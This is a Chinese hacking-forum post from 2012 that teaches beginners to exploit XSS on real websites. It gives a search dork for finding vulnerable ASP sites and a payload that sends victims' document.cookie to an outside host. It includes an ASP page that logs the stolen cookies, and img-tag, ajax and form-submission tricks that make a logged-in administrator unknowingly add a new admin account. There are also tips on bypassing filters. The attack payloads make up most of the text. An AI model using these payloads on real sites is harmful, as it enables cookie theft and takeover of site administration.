找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2576|回复: 0
打印 上一主题 下一主题

实战xss漏洞利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:08:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为:   a+ g2 l- K& b" I

2 U& {; g5 g' c  w) v- h) Y" `http://tieba.baidu.com/f?kz=1069007239" C1 l& n8 [- o4 G; r3 l
4 s0 Z8 J) l2 r! B4 V8 U; I. c, b
这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
. c0 X4 d1 I" ~* s" ^4 W, S% }; {: x. p. W. `! i3 T
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
8 x: m  ~- F" h# D' g( D9 m" z; D
2 O( y/ p' h6 I2 G7 o; y我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。5 d; [* o! P3 c  W/ L

8 ?* ^( V: {1 P这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
, j+ I. f  L3 @- G! `: i, ?! A
2 T9 r3 p9 O0 I- g0 ?好了,废话不多说了,一起来看文章吧。
0 T5 R0 N, Q. g& m5 i5 G
# q4 u& z0 `  |* H. ]' S/ I# @-------------------------------------------------------------------
. P- [' f3 T, Y; |) U! j. t( h' q" ]: U! a# m# Y
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。  F! d6 s, |* U

8 C/ T* g+ c0 I/ |/ C
  z1 X& |  @+ U
/ l8 W. M! I" B/ I# l6 A* `! T再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:
' i/ {& l7 P4 b2 @% S, B: W) a+ O. Z9 p( D) z- ^" \1 o

8 O+ [( Q2 R3 u2 S4 L% B6 ~1 T: c7 e; c) h
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是6 ]0 d( [0 x/ L7 J# B" J
1:让目标访问已跨站的网址,然后这个网址执行脚本
  E- Y; }: i) j! i+ d2 V, F7 @2:然后跳转到你已经写好专门用来收集Cookie的网址
: W% J# O3 ]* i: G/ F  P5 `/ _7 V9 H, h8 O* K: Q- ~% P# R
具体实现方法:
  v8 r# V1 ^$ K$ F先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
8 I* q. l" V8 E" B1 l# G这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。0 r/ W, B3 T, {3 w% R. z- f4 b( n
9 H# J  c' ^8 p6 y. R
这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
- L& p' M/ y5 r) g
0 Q# Y7 |  S+ P: m, G3 |6 Z<html>% h$ s: J- S4 P5 R! h$ I& y
<title>xx</title>; R. r2 S! D5 a. s( F
<body>
8 W: {& x# X9 p* L<%0 i5 l7 R! V" ?& h! A- Q5 e. C
testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中0 l( }; I5 O; n+ h0 I
msg = Request("msg")   //获取提交过来的msg变量,也就是cookie值
" j# \  o& b, F4 j% S+ q& xset fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象4 c: t) R4 M$ \; X9 L5 T# j% B( D
set thisfile = fs.OpenTextFile(testfile,8,True,0)$ M9 q- k# e7 ^# W! }
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie% i/ z) s; r; u' Z9 z
thisfile.close   //关闭4 C6 |: I0 X1 D, [- J2 w( J
set fs = nothing
# r& `# b4 Q) }+ O& C* s( f%>
; S* N! i. q% B: m" I* n+ k</body>
- B* }' P3 V% V+ G9 a9 O</html>/ _% \. n3 b8 h# M

' J7 }% E" {' h& F7 ^& s8 C然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
. a/ ]1 E# [- L6 T% R; f. u# s& p4 G5 `* H' U9 U5 S' X" P7 o) }

  y0 H! A; `! Q4 j ! S* j5 o' m8 A' @/ d1 [

7 s" A, ~* S$ ]拿出来看看,呵呵,Cookie到手:, w' m$ O; |% X1 k* }* v7 p

$ A& w0 t0 B2 l) q! L$ \3 f- _- i
; A7 B8 ~/ D3 x! S: l
3 j/ }' c) s* D' f# p& m本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~
0 s& o: d: n: i2 [2 X5 q( s# r& e! B; ~5 |: f
PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。) Q1 t; |/ f2 z5 X7 p/ ?' K5 I$ W

) Z$ x- r7 K# V; o& K' g-------------------------------------------------------------------
! I6 i& ^) s0 V& T) w1 E0 V0 k
# N* o, P& H5 n* z: s下面是我对这个帖子的回复,也一起贴过来吧:+ G! |8 z3 I( m, \8 F- v$ z) k
  W. y) k% A0 V' F2 S
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。; `' F% P% f1 i
# L& m: d! A7 ?( E0 s
但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。. g4 S- O- u9 y
再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。* B0 j  q0 h  P# P: X+ f# a

! c4 {, z& t( H# Y& l在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
, q2 n( R, u( _% C$ [/ y( x6 r5 m# C2 D& p, Z
http://user.qzone.qq.com/673116767/blog/12524525367 ^- @# b6 N5 i* ^! x/ N+ k, }$ N

4 ]8 {8 v9 y& N4 f! u8 u- C一般发现一个xss漏洞后要做的基本上就是这些:
2 q3 k) ^4 A6 \- A/ {# `9 \* k7 @2 z. y: t0 Q" f
1.  伪造请求  使用$_REQUEST或$_GET/ }9 {- H8 m9 U) b, S

7 i0 @$ R: Z/ R- ?首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
/ I/ @% y4 r% I  m: ]<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
9 V7 u& \4 a" Y- K) @当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。
, V3 C4 l) Q& ~& w% Q' R
0 m7 m  [# \( F! x如果是可视文本编辑器,可以尝试使用输入:1 E. P/ k) R1 E" N) \
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
" J' x5 ]( o; [* L' @$ S4 o: K这样最终会构造出:
* f5 L9 a1 ^1 J) P" r" M+ A8 S3 J<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
7 _  j& N% X. Y+ F$ n总之要举一反三。. U8 e1 ?* [! G

! |: Q. b% ~* v- q: H2. 伪造请求  使用$_POST
$ u: V5 x% y7 }! W. F. `$ ?
) U$ J2 L% D; J2 c; i0 v当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:
9 v5 v- {. p' Y* u% r3 N: u2 z* ~<sc/*xss*/ript type="text/javascript">$ Y* X& P" H% H) u
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");8 H. ^& N2 l" h! o- }5 a
aj.open("POST", "/admin/admin_add.asp", false);) x" k. Z- _3 P8 u; L# O
var postdata = 'name=xxx&psd=yyy';$ ]. a0 Q' Z! ], }. ~
aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
- t, Q) t+ r' \- K8 M9 ~# Eaj.send(postdata);
2 z2 Y3 H0 d) {% f* i8 U</scr/*xss*/ipt>, I8 G' ^/ s' q  @& Q
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。) b+ b2 X1 L- s) e5 \

, d2 f0 }# }5 q/ T. G- H3. 跨站伪造请求 使用$_GET 或 $_REQUEST* A; S3 a- \% I

, z7 V7 P8 I3 F2 N5 N- }* T与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
4 }! L# q" Z9 n2 G4 Y8 u<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>: X/ t8 _! ?5 Z/ e! W2 j; q
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。3 o. @6 z6 y  L; f
5 r! D4 k1 @% p, I8 I# {6 v; n
4.跨站伪造请求 使用$_POST(0day)3 q( P- l6 Q- ^' C" ~( f+ f

  h. a7 F) \. o" R/ E: v如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
/ `6 ~* a. N2 l' y
2 ]& C4 h- K7 `5 }但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。! s; B3 h7 |% Q" u3 C* z

# S8 I& e" Y7 H1 `- T$ e总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。" a' B( r* Y( B5 n- Z
! J( ?% x2 o% V
OK,该说的都说完了,Over。
& x  J% U# T9 g& n! m' i" s# ?) d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表